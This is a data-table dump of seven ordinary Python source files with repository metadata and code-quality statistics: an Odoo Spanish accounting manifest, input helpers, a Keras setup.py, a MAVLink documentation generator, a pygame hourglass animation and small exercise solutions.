hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1c621269f027420052a3f02263586abb44802fed | 1,850 | py | Python | odoo-13.0/addons/l10n_es/__manifest__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | odoo-13.0/addons/l10n_es/__manifest__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | odoo-13.0/addons/l10n_es/__manifest__.py | VaibhavBhujade/Blockchain-ERP-interoperability | b5190a037fb6615386f7cbad024d51b0abd4ba03 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
# List of contributors:
# Jordi Esteve <jesteve@zikzakmedia.com>
# Ignacio Ibeas <ignacio@acysos.com>
# Dpto. Consultoría Grupo Opentia <consultoria@opentia.es>
# Pedro M. Baeza <pedro.baeza@tecnativa.com>
# Carlos Liébana <carlos.liebana@factorlibre.com>
# Hugo Santos <hugo.santos@factorlibre.com>
# Albert Cabedo <albert@gafic.com>
# Olivier Colson <oco@odoo.com>
# Roberto Lizana <robertolizana@trey.es>
{
"name" : "Spain - Accounting (PGCE 2008)",
"version" : "4.0",
"author" : "Spanish Localization Team",
'category': 'Localization',
"description": """
Spanish charts of accounts (PGCE 2008).
========================================
* Defines the following chart of account templates:
* Spanish general chart of accounts 2008
* Spanish general chart of accounts 2008 for small and medium companies
* Spanish general chart of accounts 2008 for associations
* Defines templates for sale and purchase VAT
* Defines tax templates
* Defines fiscal positions for spanish fiscal legislation
* Defines tax reports mod 111, 115 and 303
""",
"depends" : [
"account",
"base_iban",
"base_vat",
],
"data" : [
'data/account_group.xml',
'data/account_chart_template_data.xml',
'data/account.account.template-common.csv',
'data/account.account.template-pymes.csv',
'data/account.account.template-assoc.csv',
'data/account.account.template-full.csv',
'data/account_chart_template_account_account_link.xml',
'data/account_data.xml',
'data/account_tax_data.xml',
'data/account_fiscal_position_template_data.xml',
'data/account_chart_template_configure_data.xml',
],
}
| 35.576923 | 79 | 0.666486 | 219 | 1,850 | 5.52968 | 0.474886 | 0.099917 | 0.069364 | 0.059455 | 0.227911 | 0.086705 | 0.059455 | 0 | 0 | 0 | 0 | 0.021651 | 0.201081 | 1,850 | 51 | 80 | 36.27451 | 0.7977 | 0.260541 | 0 | 0.055556 | 0 | 0 | 0.786716 | 0.327675 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c63651b998275cab39273dd8e25b0400010f487 | 828 | py | Python | Python_Exercicios/funcoes_error.py | thalles-dreissig20/Quebra_Cabeca | eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79 | [
"MIT"
] | null | null | null | Python_Exercicios/funcoes_error.py | thalles-dreissig20/Quebra_Cabeca | eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79 | [
"MIT"
] | 1 | 2021-11-29T18:37:14.000Z | 2021-11-29T18:37:14.000Z | Python_Exercicios/funcoes_error.py | thalles-dreissig20/Quebra_Cabeca | eeb9458dbabac72d9867e5ec5d7f1aa9b5993d79 | [
"MIT"
] | null | null | null | def leiaInt(msg):
while True:
try:
n = int(input(msg))
except (ValueError, TypeError):
print('Erro: Por favor, digite um numero valido')
continue
except (KeyboardInterrupt):
print('Entrada interromepida pelo usuario')
return 0
else:
return n
def leiaFloat(msg):
while True:
try:
n = float(input(msg))
except (ValueError, TypeError):
print('Erro: Por favor, digite um numero valido')
continue
except (KeyboardInterrupt):
print('Entrada interromepida pelo usuario')
return 0
else:
return n
num1 = leiaInt('digite um numero inteiro: ')
num2 = leiaFloat('digite um numero real: ')
print(num1, num2 ) | 26.709677 | 60 | 0.541063 | 83 | 828 | 5.39759 | 0.421687 | 0.071429 | 0.125 | 0.066964 | 0.763393 | 0.691964 | 0.691964 | 0.691964 | 0.691964 | 0.691964 | 0 | 0.011561 | 0.373188 | 828 | 31 | 61 | 26.709677 | 0.851638 | 0 | 0 | 0.740741 | 0 | 0 | 0.237636 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0 | 0 | 0 | 0.222222 | 0.185185 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c66055157dc1ad25ea0a9603aa062b4d0d7f944 | 338 | py | Python | setup.py | efornaciari/keras-mixed-scale-dense-net | e4401b64d93a92b0660805062c327fded6a9461a | [
"Apache-2.0"
] | 3 | 2018-04-21T11:43:42.000Z | 2018-05-07T12:36:53.000Z | setup.py | efornaciari/keras-mixed-scale-dense-net | e4401b64d93a92b0660805062c327fded6a9461a | [
"Apache-2.0"
] | null | null | null | setup.py | efornaciari/keras-mixed-scale-dense-net | e4401b64d93a92b0660805062c327fded6a9461a | [
"Apache-2.0"
] | 3 | 2018-04-26T03:08:28.000Z | 2019-08-12T12:47:58.000Z | import setuptools
setuptools.setup(
name='keras-mixed-scale-dense-net',
version='0.0.2',
url='https://github.com/efornaciari/keras-mixed-scale-dense-net',
author='Eric Fornaciari',
maintainer='Eric Fornaciari',
packages=setuptools.find_packages(),
install_requires=['keras', 'keras-resnet', 'six', 'scipy'],
) | 30.727273 | 69 | 0.692308 | 41 | 338 | 5.658537 | 0.682927 | 0.086207 | 0.12931 | 0.172414 | 0.198276 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010204 | 0.130178 | 338 | 11 | 70 | 30.727273 | 0.778912 | 0 | 0 | 0 | 0 | 0 | 0.427729 | 0.079646 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c70b2a0219ae3583c7f51ca814ffeab5f6c404a | 14,522 | py | Python | PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py | JinRIIS/Custom-PX4 | 1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8 | [
"BSD-3-Clause"
] | 3 | 2021-04-28T15:27:04.000Z | 2021-05-03T16:23:24.000Z | PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py | JinRIIS/Custom-PX4 | 1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8 | [
"BSD-3-Clause"
] | 4 | 2021-05-03T16:58:53.000Z | 2021-12-21T21:01:02.000Z | PX4-Autopilot/src/modules/mavlink/mavlink/doc/mavlink_gitbook.py | JinRIIS/Custom-PX4 | 1d11a5c944ae02d9b8f14cb42b1f99e0ab2916a8 | [
"BSD-3-Clause"
] | 9 | 2021-04-28T15:26:34.000Z | 2021-12-21T20:41:30.000Z | #! /usr/bin/python
"""
This script generates markdown files for all the MAVLink message definition XML at:
https://github.com/mavlink/mavlink/tree/master/message_definitions/v1.0
The files can be imported into a gitbook to display the messages as HTML
The script runs on both Python2 and Python 3. The following libraries must be imported: lxml, requests, bs4.
The file is run in mavlink/doc/ with no arguments. It writes the files to /messages/
"""
import lxml.etree as ET
import requests
from bs4 import BeautifulSoup as bs
import re
import os # for walk
xsl_file_name = "mavlink_to_html_table_gitbook.xsl"
xml_message_definitions_dir_name = "../message_definitions/v1.0/"
output_dir = "./messages/"
output_dir_html=output_dir+"_html/"
if not os.path.exists(output_dir_html):
os.makedirs(output_dir_html)
# File for index
index_file_name = "README.md"
index_file_name = output_dir + index_file_name
# Get XSLT
with open(xsl_file_name, 'r') as content_file:
xsl_file = content_file.read()
xslt = ET.fromstring(xsl_file)
#initialise text for index file.
index_text="""<!-- THIS FILE IS AUTO-GENERATED (DO NOT UPDATE GITBOOK): https://github.com/mavlink/mavlink/blob/master/doc/mavlink_gitbook.py -->
# Dialects {#dialects}
MAVLink *dialects* are XML definition files that define *protocol-* and *vendor-specific* messages, enums and commands.
Dialects may *include* other MAVLink XML files, which may in turn contain other XML files (up to 5 levels of XML file nesting are allowed - see `MAXIMUM_INCLUDE_FILE_NESTING` in [mavgen.py](https://github.com/ArduPilot/pymavlink/blob/master/generator/mavgen.py#L44)).
A typical pattern is for a dialect to include [common.xml](../messages/common.md) (containing the *MAVLink standard definitions*), extending it with vendor or protocol specific messages.
## Standard Definitions
The following XML definition files are considered standard/core (i.e. not dialects):
* [minimal.xml](minimal.md) - the minimum set of entities (messages, enums, MAV_CMD) required to set up a MAVLink network.
* [standard.xml](standard.md) - the standard set of entities that are implemented by almost all flight stacks (at least 2, in a compatible way).
This `includes` [minimal.xml](minimal.md).
* [common.xml](../messages/common.md) - the set of entitites that have been implemented in at least one core flight stack.
This `includes` [standard.xml](minimal.md)
Further, [all.xml](all.md) is a _special case_.
It includes almost all other XML definition files, and can be used to verify that there are no ID clashes (and can potentially be used by GCS to communicate with any core dialect).
> **Note** We are still working towards moving the truly standard entities from **common.xml** to **standard.xml**
Currently you should include [common.xml](../messages/common.md)
## Core Dialects
Core dialects are stored in [mavlink/message definitions](https://github.com/mavlink/mavlink/blob/master/message_definitions/).
These are the dialects for the major MAVLink stakeholder flight stacks.
> **Note** Vendor forks of MAVLink may contain dialect messages that are not yet merged, and hence will not appear in this documentation.
Human-readable forms of all the the core dialects are linked below:
"""
index_text_trailer="""## External Dialects
MAVLink provides the [/external/dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects) folder for dialects from projects that are not maintained by core MAVLink stakeholders or part of the MAVLink standard.
This mechanism is provided to help non-stakeholder dialect owners avoid clashes with other dialects (and the standard), and to ease integration of generic behaviours into the standard in future.
These are not managed by the core team and do not appear in this documentation.
Information about using the folder can be found in github: [/external/dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects)
> **Note** We *highly* recommend that you work with the standard and core stakeholder dialects rather than using this approach (there are significant benefits in terms of compatibility and adoptability when using the standard definitions).
"""
#Fix up the BeautifulSoup output so to fix build-link errors in the generated gitbook.
## BS puts each tag/content in its own line. Gitbook generates anchors using the spaces/newlines.
## This puts displayed text content immediately within tags so that anchors/links generate properly
def fix_content_in_tags(input_html):
#print("fix_content_in_tags was called")
def remove_space_between_content_tags(matchobj):
stripped_string=matchobj.group(1).strip()
return '>%s<' % stripped_string
input_html=re.sub(r'\>(\s+?\w+?.*?)\<', remove_space_between_content_tags, input_html,flags=re.DOTALL)
return input_html
def fix_external_dialect_link(input_html):
#print("fix_external_dialect_link was called")
def fixupexternaldialecturls(matchobj):
return matchobj.group(1).strip()
input_html=re.sub(r'<a href="../../external/.*?>(.*?)</a>', fixupexternaldialecturls, input_html,flags=re.DOTALL)
return input_html
def fix_include_file_extension(input_html):
## Fixes up file extension .xml.md.unlikely (easier than fixing up the XSLT to strip file extensions!)
input_html=input_html.replace('.xml.md.unlikely','.md')
return input_html
def fix_replace_space_marker(input_html):
## Above we remove hidden space. I can't seem to regexp just that type of space, so use space markers in text
input_html=input_html.replace('xxx_space_xxx',' ')
return input_html
def strip_text_before_string(original_text,strip_text):
# Strip out all text before some string
index=original_text.find(strip_text)
stripped_string=original_text
if index !=-1 :
stripped_string = stripped_string[index:]
return stripped_string
def fix_add_implicit_links_items(input_html):
# Makes screaming snake case into anchors. Special fix for MAV_CMD.
#print("fix_add_implicit_link was called")
def make_text_to_link(matchobj):
#print("make_entry_to_link was called: %s" % matchobj.group(0))
item_string = matchobj.group(2)
item_url=item_string
if item_string == 'MAV_CMD':
item_url='mav_commands'
returnString = '%s<a href="#%s">%s</a>%s' % (matchobj.group(1),item_url,item_string,matchobj.group(3))
#print("returnstring: %s" % returnString)
return returnString
input_html=re.sub(r'([\`\(\s,]|^)([A-Z]{2,}(?:_[A-Z0-9]+)+)([\`\)\s\.,:]|$)', make_text_to_link, input_html,flags=re.DOTALL)
return input_html
def inject_top_level_docs(input_html,filename):
#Inject top level heading and other details.
print('FILENAME (prefix): %s' % filename)
insert_text='<!-- THIS FILE IS AUTO-GENERATED: https://github.com/mavlink/mavlink/blob/master/doc/mavlink_gitbook.py -->'
if filename == 'common':
insert_text+="""
# MAVLINK Common Message Set
The MAVLink *common* message set contains *standard* definitions that are managed by the MAVLink project.
The definitions cover functionality that is considered useful to most ground control stations and autopilots.
MAVLink-compatible systems are expected to use these definitions where possible (if an appropriate message exists) rather than rolling out variants in their own [dialects](../messages/README.md).
The original definitions are defined in [common.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/common.xml).
> **Tip** The common set `includes` [minimal.xml](minimal.md), which contains the *minimal set* of definitions for any MAVLink system.
These definitions are [reproduced at the end of this topic](#minimal).
"""
elif filename == 'minimal':
insert_text+="""
# MAVLink Minimal Set
The MAVLink *minimal* set contains the minimal set of definitions for a viable MAVLink system.
The message set is defined in [minimal.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/minimal.xml) and is managed by the MAVLink project.
> **Tip** The minimal set is included (imported into) other xml definition files, including the [MAVLink Common Message Set (common.xml)](minimal.md).
"""
elif filename == 'ardupilotmega':
insert_text+="""
# Dialect: ArduPilotMega
These messages define the ArduPilot specific message set, which is custom to [http://ardupilot.org](http://ardupilot.org).
This topic is a human-readable form of the XML definition file: [ardupilotmega.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/ardupilotmega.xml).
> **Warning** The ArduPilot MAVLink fork of [ardupilotmega.xml](https://github.com/ArduPilot/mavlink/blob/master/message_definitions/v1.0/ardupilotmega.xml) may contain messages that have not yet been merged into this documentation.
"""
elif filename == 'development':
insert_text+="""
# Dialect: development
This dialect contains messages that are proposed for inclusion in the [standard set](standard.md), in order to ease development of prototype implementations.
They should be considered a 'work in progress' and not included in production builds.
This topic is a human-readable form of the XML definition file: [development.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/development.xml).
"""
elif filename == 'all':
insert_text+="""
# Dialect: all
This dialect is intended to `include` all other [dialects](../messages/README.md) in the mavlink/mavlink repository (including [external dialects](https://github.com/mavlink/mavlink/tree/master/external/dialects#mavlink-external-dialects)).
Dialects that are in **all.xml** are guaranteed to not have clashes in messages, enums, enum ids, and MAV_CMDs.
This ensure that:
- Systems based on these dialects can co-exist on the same MAVLink network.
- A Ground Station might (optionally) use libraries generated from **all.xml** to communicate using any of the dialects.
> **Warning** New dialect files in the official repository must be added to **all.xml** and restrict themselves to using ids in their own allocated range.
A few older dialects are not included because these operate in completely closed networks or because they are only used for tests.
This topic is a human-readable form of the XML definition file: [all.xml](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/all.xml).
"""
else:
insert_text+='\n# Dialect: %s' % filename.rsplit('.',1)[0]
insert_text+='\n\n*This is a human-readable form of the XML definition file: [%s](https://github.com/mavlink/mavlink/blob/master/message_definitions/v1.0/%s).*' % (filename, filename)
insert_text+="""
<span></span>
> **Note** MAVLink 2 messages have an ID > 255 and are marked up using **(MAVLink 2)** in their description.
<span id="mav2_extension_field"></span>
> **Note** MAVLink 2 extension fields that have been added to MAVLink 1 messages are displayed in blue.
<style>
td {
vertical-align:top;
}
</style>
"""
# Include HTML in generated content
insert_text+='\n\n{%% include "_html/%s.html" %%}' % filename
input_html=insert_text+'\n\n'+input_html
if filename == 'common':
input_html+="""
# Minimal.xml {#minimal}
The minimal set of definitions required for any MAVLink system are included from [minimal.xml](minimal.md).
These are listed below.
{% include "_html/minimal.html" %}"""
#print(input_html)
return input_html
dialect_files = set()
all_files = set()
for subdir, dirs, files in os.walk(xml_message_definitions_dir_name):
#Generate html for all the XML files
for file in files:
print(file)
if not file.endswith('.xml'): #only process xml files.
continue
xml_file_name = xml_message_definitions_dir_name+file
with open(xml_file_name, 'r') as content_file:
xml_file = content_file.read()
dom = ET.fromstring(xml_file)
transform = ET.XSLT(xslt)
newdom = transform(dom)
#Prettify the HTML using BeautifulSoup
soup=bs(str(newdom), "lxml")
prettyHTML=soup.prettify()
#Strip out text before <html> tag in XSLT output
prettyHTML=strip_text_before_string(prettyHTML,'<html>')
prettyHTML = fix_content_in_tags(prettyHTML)
#Replace invalid file extensions (workaround for xslt)
prettyHTML = fix_include_file_extension(prettyHTML)
#Replace space markers with intentional space
prettyHTML = fix_replace_space_marker(prettyHTML)
#Fix up links to external dialects to not be links
prettyHTML = fix_external_dialect_link(prettyHTML)
#Fix up plain text mav symbols to be internal links
prettyHTML = fix_add_implicit_links_items(prettyHTML)
#Write output html file
output_file_name_html = file.rsplit('.',1)[0]+".html"
output_file_name_html_withdir = output_dir_html+output_file_name_html
print("Output filename (html): %s" % output_file_name_html)
with open(output_file_name_html_withdir, 'w') as out:
out.write(prettyHTML)
# Create sortable list of output file names
#Write output markdown file
output_file_name_prefix = file.rsplit('.',1)[0]
all_files.add(output_file_name_prefix)
if not file=='common.xml' and not file=='standard.xml' and not file=='minimal.xml':
dialect_files.add(output_file_name_prefix)
# Generate the markdown files
for file_prefix in all_files:
print(file_prefix)
markdown_text=''
#Inject a heading and doc-type intro (markdown format)
markdown_text = inject_top_level_docs(markdown_text,file_prefix)
output_file_name_md_withdir = output_dir+file_prefix+'.md'
print("Output filename (md): %s" % output_file_name_md_withdir)
with open(output_file_name_md_withdir, 'w') as out:
out.write(markdown_text)
for the_file in sorted(dialect_files):
index_text+='\n* [%s.xml](%s.md)' % (the_file,the_file)
index_text+='\n\n'
index_text+=index_text_trailer
#Write the index
with open(index_file_name, 'w') as content_file:
content_file.write(index_text)
print("COMPLETED")
| 45.099379 | 267 | 0.727655 | 2,090 | 14,522 | 4.925359 | 0.211005 | 0.022732 | 0.0204 | 0.02652 | 0.223043 | 0.14999 | 0.121624 | 0.110744 | 0.110744 | 0.094618 | 0 | 0.004157 | 0.171739 | 14,522 | 321 | 268 | 45.239875 | 0.851679 | 0.133935 | 0 | 0.114583 | 1 | 0.1875 | 0.611222 | 0.045255 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052083 | false | 0 | 0.03125 | 0.005208 | 0.135417 | 0.03125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c7419dfc7215bc92a8f661c8add619eb0cded10 | 254 | py | Python | exercicios/Lista1/Q32.py | AlexandrePeBrito/CursoUdemyPython | 3de58cb30c9f333b32078309847179ff3f9d7e22 | [
"MIT"
] | null | null | null | exercicios/Lista1/Q32.py | AlexandrePeBrito/CursoUdemyPython | 3de58cb30c9f333b32078309847179ff3f9d7e22 | [
"MIT"
] | null | null | null | exercicios/Lista1/Q32.py | AlexandrePeBrito/CursoUdemyPython | 3de58cb30c9f333b32078309847179ff3f9d7e22 | [
"MIT"
] | null | null | null | #leia um numero inteiro e
#imprima a soma do sucessor de seu triplo com
#o antecessor de seu dobro
num=int(input("Informe um numero: "))
valor=((num*3)+1)+((num*2)-1)
print(f"A soma do sucessor de seu triplo com o antecessor de seu dobro eh {valor}") | 28.222222 | 83 | 0.712598 | 49 | 254 | 3.693878 | 0.571429 | 0.110497 | 0.077348 | 0.165746 | 0.552486 | 0.552486 | 0.552486 | 0.552486 | 0.552486 | 0.552486 | 0 | 0.018868 | 0.165354 | 254 | 9 | 83 | 28.222222 | 0.834906 | 0.370079 | 0 | 0 | 0 | 0 | 0.582278 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c750efd51ec4b035096058af77ff6b8b8067c0f | 1,816 | py | Python | 02_pygame_intro/1_hourglass.py | NickKaramoff/DjangoClasses | 32c275d6d49888626375140070c83dca4cd67982 | [
"Unlicense"
] | null | null | null | 02_pygame_intro/1_hourglass.py | NickKaramoff/DjangoClasses | 32c275d6d49888626375140070c83dca4cd67982 | [
"Unlicense"
] | null | null | null | 02_pygame_intro/1_hourglass.py | NickKaramoff/DjangoClasses | 32c275d6d49888626375140070c83dca4cd67982 | [
"Unlicense"
] | null | null | null | import pygame
import sys
pygame.init()
clock = pygame.time.Clock()
black = (0, 0, 0)
white = (255, 255, 255)
light_gray = (220, 220, 220)
states = [
[
(100, 50),
(250, 50),
(250, 100),
(180, 170),
(180, 180),
(250, 250),
(250, 300),
(100, 300),
(100, 250),
(170, 180),
(170, 170),
(100, 100),
(100, 50)
],
[
(215, 30),
(320, 135),
(280, 175),
(180, 175),
(175, 180),
(175, 280),
(135, 320),
(30, 215),
(70, 175),
(170, 175),
(175, 170),
(175, 70),
(215, 30)
],
[
(50, 100),
(100, 100),
(170, 170),
(180, 170),
(250, 100),
(300, 100),
(300, 250),
(250, 250),
(180, 180),
(170, 180),
(100, 250),
(50, 250),
(50, 100)
],
[
(135, 30),
(30, 135),
(70, 175),
(170, 175),
(175, 180),
(175, 280),
(215, 320),
(320, 215),
(280, 175),
(180, 175),
(175, 170),
(175, 70),
(135, 30)
]
]
cur_state = 0
line_width = 3
screen = pygame.display.set_mode((350, 350))
screen.fill(light_gray)
pygame.draw.lines(screen, black, False, states[cur_state], line_width)
pygame.display.update()
while True:
for event in pygame.event.get(): # Exit game on X press
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
cur_state += 1
if cur_state >= len(states):
cur_state = 0
screen.fill(light_gray)
pygame.draw.lines(screen, black, False, states[cur_state], line_width)
elapsed = clock.tick(5)
pygame.display.update()
| 18.916667 | 74 | 0.430617 | 214 | 1,816 | 3.593458 | 0.285047 | 0.062419 | 0.046814 | 0.031209 | 0.309493 | 0.189857 | 0.189857 | 0.189857 | 0.189857 | 0.189857 | 0 | 0.298997 | 0.395925 | 1,816 | 95 | 75 | 19.115789 | 0.402005 | 0.011013 | 0 | 0.494253 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.022989 | 0 | 0.022989 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1c7a7bce98e422d8ac9be27f328cfb148518559e | 262 | py | Python | python3/2021/01-Sonar-Sweep/part2.py | DavidPesta/AdventOfCode | edd82fbc2776added6ae741d5318f97fc0c62e9f | [
"MIT"
] | 3 | 2021-12-02T04:03:53.000Z | 2021-12-30T20:31:30.000Z | python3/2021/01-Sonar-Sweep/part2.py | DavidPesta/AdventOfCode | edd82fbc2776added6ae741d5318f97fc0c62e9f | [
"MIT"
] | null | null | null | python3/2021/01-Sonar-Sweep/part2.py | DavidPesta/AdventOfCode | edd82fbc2776added6ae741d5318f97fc0c62e9f | [
"MIT"
] | null | null | null | input = open('input.txt', 'r').read().split("\n")
depths = list(map(lambda s: int(s), input))
increases = 0;
for i in range(1, len(depths)):
if depths[i-2] + depths[i-1] + depths[i] > depths[i-3] + depths[i-2] + depths[i-1]:
increases += 1
print(increases) | 26.2 | 84 | 0.614504 | 47 | 262 | 3.425532 | 0.531915 | 0.26087 | 0.099379 | 0.173913 | 0.198758 | 0.198758 | 0 | 0 | 0 | 0 | 0 | 0.035874 | 0.148855 | 262 | 10 | 85 | 26.2 | 0.686099 | 0 | 0 | 0 | 0 | 0 | 0.045627 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
